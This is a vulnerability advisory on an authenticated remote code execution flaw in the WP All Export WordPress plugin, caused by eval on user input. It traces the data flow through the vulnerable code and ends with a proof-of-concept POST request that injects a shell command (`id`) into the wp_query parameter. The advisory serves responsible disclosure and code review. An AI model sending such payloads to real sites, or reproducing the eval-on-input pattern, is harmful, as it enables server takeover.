logo-unlock-security

CVE-2023-4724 | CVE-2023-5882

cve-2023-4724-cve-2023-5882-wp-all-export-remote-code-execution-rce

WP ALL Export (Free < 1.4.1, Pro < 1.8.6) - Multiple Authenticated Remote Code Execution

Author

Francesco Marano, Donato Di Pasquale

Affected product

WP ALL Export < 1.4.1 (WordPress plugin), WP ALL Export Pro < 1.8.6 (WordPress plugin)

Product description

WP All Export is a WordPress plugin that allows you to export any data in WordPress, including themes and plugins, to CSV, XML or other formats with a convenient drag & drop interface.

Vulnerability details

It is no mystery now that in Unlock Security we are big fans of SemGrep for doing code reviews. We often use it to write precise rules to automatically unearth complex patterns in code, following the flow of data from user input to potentially unsafe uses.

To do testing we usually use WordPress plugins because there are so many of them (90,000+) and because they are written by all possible types of programmers: individual novices, professionals, companies, ... each with their own way of writing code. Writing a good rule for SemGrep that gives neither too many false positives nor too many false negatives in this scenario is quite a feat, but it can lead to very satisfactory results.

During testing for the rule finding code injection type vulnerabilities, we experienced a match:

┌─────────────────┐
│ 3 Code Findings │
└─────────────────┘

    ./wp-content/plugins/wp-all-export/actions/wp_ajax_wpae_preview.php 
       php.wordpress-plugins.security.wp-sec-code-injection                                                                                    
          Detected user input used as code or callback to execute. This is usually bad practice        
          because it could accidentally result in Remote Command Execution (RCE). An attacker could    
          use it to takeover the entire website.

          125┆ $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));');
            ⋮┆----------------------------------------
          128┆ $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));');
            ⋮┆----------------------------------------
          135┆ $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');

Looking at these three snippets, it is clear that if we have a way to reach any of the reported lines of code and we have control over the value of $exportOptions['wp_query'], then we can execute arbitrary PHP code. Below is a simplified excerpt of the vulnerable code:

actions/wp_ajax_wpae_preview.php
<?php /** * AJAX action for preview export row */ function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } // … $values = array(); parse_str($_POST['data'], $values); if(is_array($values['cc_options'])) { // … } // … $exportOptions = $values + (PMXE_Plugin::$session->has_session() ? PMXE_Plugin::$session->get_clear_session_data() : array()) + PMXE_Plugin::get_default_import_options(); // … if ( 'advanced' == $exportOptions['export_type'] ) { if ( XmlExportEngine::$is_user_export ) { $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));'); } elseif ( XmlExportEngine::$is_comment_export ) { $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));'); } else { // … $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));'); } } // …

The flow of data from the user input(source) to the vulnerable function(sink) can be summarized as follows:

/* $_POST['data'] string is parsed as an array into $values */
parse_str($_POST['data'], $values);

/* $values is added into $exportOptions */
$exportOptions = $values + // …

/* $exportOptions['export_type'] must be 'advanced' to reach the vulnerable code */
if ( 'advanced' == $exportOptions['export_type'] )
{
    /* We don't care of all the if clause since we have the same code in all of them and in the else clause too */
	$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');

The vulnerable code is located within the function pmxe_wp_ajax_wpae_preview in the folder actions/. Searching throughout the plugin code for the invocation of this function, there are no matches. Upon closer inspection, it can be seen that this function is registered as a WordPress AJAX action based on the name of the PHP file containing it; and this process is repeated for all PHP files in the same folder:

wp-all-export.php
// register action handlers if (is_dir(self::ROOT_DIR . '/actions')) if (is_dir(self::ROOT_DIR . '/actions')) foreach (PMXE_Helper::safe_glob(self::ROOT_DIR . '/actions/*.php', PMXE_Helper::GLOB_RECURSE | PMXE_Helper::GLOB_PATH) as $filePath) { require_once $filePath; $function = $actionName = basename($filePath, '.php'); if (preg_match('%^(.+?)[_-](\d+)$%', $actionName, $m)) { $actionName = $m[1]; $priority = intval($m[2]); } else { $priority = 10; } add_action($actionName, self::PREFIX . str_replace('-', '_', $function), $priority, 99); // since we don't know at this point how many parameters each plugin expects, we make sure they will be provided with all of them (it's unlikely any developer will specify more than 99 parameters in a function) }

This means that in our case an authenticated AJAX action (prefix wp_ajax_) called wpae_preview will be registered that will invoke the vulnerable function pmxe_wp_ajax_wpae_preview.

We already know that we need to be authenticated to use this AJAX action, but what is the minimum role that our user must have? Are there any other prerequisites? The answer to these questions comes from the first lines of the vulnerable function:

actions/wp_ajax_wpae_preview.php
function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }

We first need our user to have the capability specified in PMXE_Plugin::$capabilities which corresponds to manage_options. This capability indicates the ability for a user to access and manage WordPress settings, so only the administrator user has it.

Secondly we need a valid CSRF token to pass with the parameter security and this can be easily searched in the HTML code of the main plugin page using just the keyword security:

Get the value of the securekey parameter using the browser console

Once we obtain a valid CSRF token and know that the vulnerable function is associated with an AJAX Action we can easily construct our payload. Let's look at the highlights of the function code pmxe_wp_ajax_wpae_preview:

  1. Being an AJAX Action the endpoint to be queried is /wp-admin/wp-ajax.php and the action to be invoked must be specified via the GET or POST parameter action, in this case wpae_preview.
  2. The CSRF token must be passed via the GET or POST parameter security:
    if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){
    	exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) );
    }
  3. Session cookies of a privileged user must be present:
    if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){
    	exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) );
    }
  4. The remainder of the data must be passed as a string in a single parameter data:
    $values = array();
    parse_str($_POST['data'], $values);
    This in particular means that if we have to pass two parameters a=1 and b=unlock we will have to send them as a=1&b=unlock remembering to do a URL-encoding of the special characters to avoid breaking the syntax of the POST parameter data, so in this case we will have data=a=1%26b=unlock
  5. A parameter cc_options as part of the parameter data with any value that is not an array so as not to have an error when accessing a non-existing parameter, and at the same time that it is such that it does not make the condition true of theif (the less code you run before you get to the vulnerable one, the better):
    if(is_array($values['cc_options']))
  6. A parameter export_type=advanced as part of the parameter data:
    if ( 'advanced' == $exportOptions['export_type'] )
    
  7. A parameter wp_query as part of the parameter data that has as its value the code we want to execute:
    $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');

Proof of Concept

Therefore, the HTTP request to be used to exploit the vulnerability is as follows:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.example.com
User-Agent: whatever
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Cookie: <YOUR-ADMIN-COOKIES-HERE>

action=wpae_preview&security=<CSRF-TOKEN-HERE>&data=cc_options=%26export_type=advanced%26wp_query=exit(`id`)
Malicious HTTP request capable of executing "id" command
Malicious HTTP request capable of showing the result of invoking phpinfo() function

Disclosure timeline

18/08/2023

Vulnerability submitted to WPScan

01/09/2023

Assigned CVE-2023-4724

31/10/2023

Assigned CVE-2023-5882

13/11/2023

Official fix released

21/11/2023

Advisory published by WPScan

07/12/2023

Proof of Concept (PoC) published